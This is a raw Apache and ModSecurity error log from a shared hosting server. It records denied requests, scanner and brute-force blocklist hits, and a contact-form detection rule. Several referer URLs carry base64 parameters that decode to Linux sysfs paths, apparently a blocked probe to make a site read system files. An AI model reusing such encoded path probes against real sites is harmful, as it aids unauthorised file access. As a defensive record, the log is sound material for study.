https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:20:33.343250 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:20:33.527272 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.103:22982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:33.527582 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.103:22982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:33.587313 2026] [security2:error] [pid 646876:tid 646952] [remote 17.246.23.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z0dyTkdrNlD40tSG_ZQAAIkk"] [Sat Jun 13 18:20:33.872508 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:20:33.872962 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:20:33.963445 2026] [lsapi:warn] [pid 648189:tid 648455] [client 176.160.103.54:60592] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:20:33.966283 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.13:43133] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:33.966737 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.13:43133] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:34.117483 2026] [access_compat:error] [pid 648189:tid 648250] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:34.117929 2026] [access_compat:error] [pid 648189:tid 648250] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:34.350642 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.30:32252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:34.350908 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.30:32252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:34.415826 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:34.416151 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:34.524508 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.17:43232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:34.524974 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.17:43232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:34.739246 2026] [security2:error] [pid 646876:tid 646965] [remote 17.22.237.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z0tyTkdrNlD40tSG_igAAE1Y"] [Sat Jun 13 18:20:34.907827 2026] [security2:error] [pid 648189:tid 648247] [remote 17.241.219.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z0lWSojQL4F7upKCGmwAA6ho"] [Sat Jun 13 18:20:34.912490 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0MC9pZA== [Sat Jun 13 18:20:34.912945 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0MC9pZA== [Sat Jun 13 18:20:34.920327 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.59:45653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:34.920804 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.59:45653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:35.045325 2026] [security2:error] [pid 648189:tid 648344] [remote 167.71.136.93:35182] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.136.71.167.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai3z01WSojQL4F7upKCGogAAnnk"], referer: https://piox.cl/wp-login.php [Sat Jun 13 18:20:35.247671 2026] [security2:error] [pid 646876:tid 646919] [remote 17.241.219.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z09yTkdrNlD40tSG_mgAACig"] [Sat Jun 13 18:20:35.304844 2026] [security2:error] [pid 646876:tid 646962] [remote 17.246.19.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z09yTkdrNlD40tSG_nAAAHVM"] [Sat Jun 13 18:20:35.352296 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.82:40716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:35.352731 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.82:40716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:35.469947 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:35.470409 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:35.613583 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.27:36642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:35.613864 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.27:36642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:35.986122 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:20:35.986525 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:20:36.143303 2026] [security2:error] [pid 648189:tid 648412] [client 77.251.242.56:36145] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "domakshelter.com"] [uri "/contact.php"] [unique_id "ai3z1FWSojQL4F7upKCGzAAAAL8"] [Sat Jun 13 18:20:36.143336 2026] [security2:error] [pid 648189:tid 648412] [client 77.251.242.56:36145] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "domakshelter.com"] [uri "/contact.php"] [unique_id "ai3z1FWSojQL4F7upKCGzAAAAL8"] [Sat Jun 13 18:20:36.239624 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.96:30503] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:36.240052 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.96:30503] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:36.448093 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.22:24840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:36.448375 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.22:24840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:36.547550 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE1L3N1YnN5c3RlbQ== [Sat Jun 13 18:20:36.548003 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE1L3N1YnN5c3RlbQ== [Sat Jun 13 18:20:36.760499 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.60:52400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:36.760936 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.60:52400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:36.899465 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.104:45826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:36.899924 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.104:45826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:36.953436 2026] [security2:error] [pid 648189:tid 648329] [remote 17.241.219.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z1FWSojQL4F7upKCG4gAAvGo"] [Sat Jun 13 18:20:36.976848 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.40:36346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:36.977303 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.40:36346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:37.048879 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL2lk [Sat Jun 13 18:20:37.049254 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 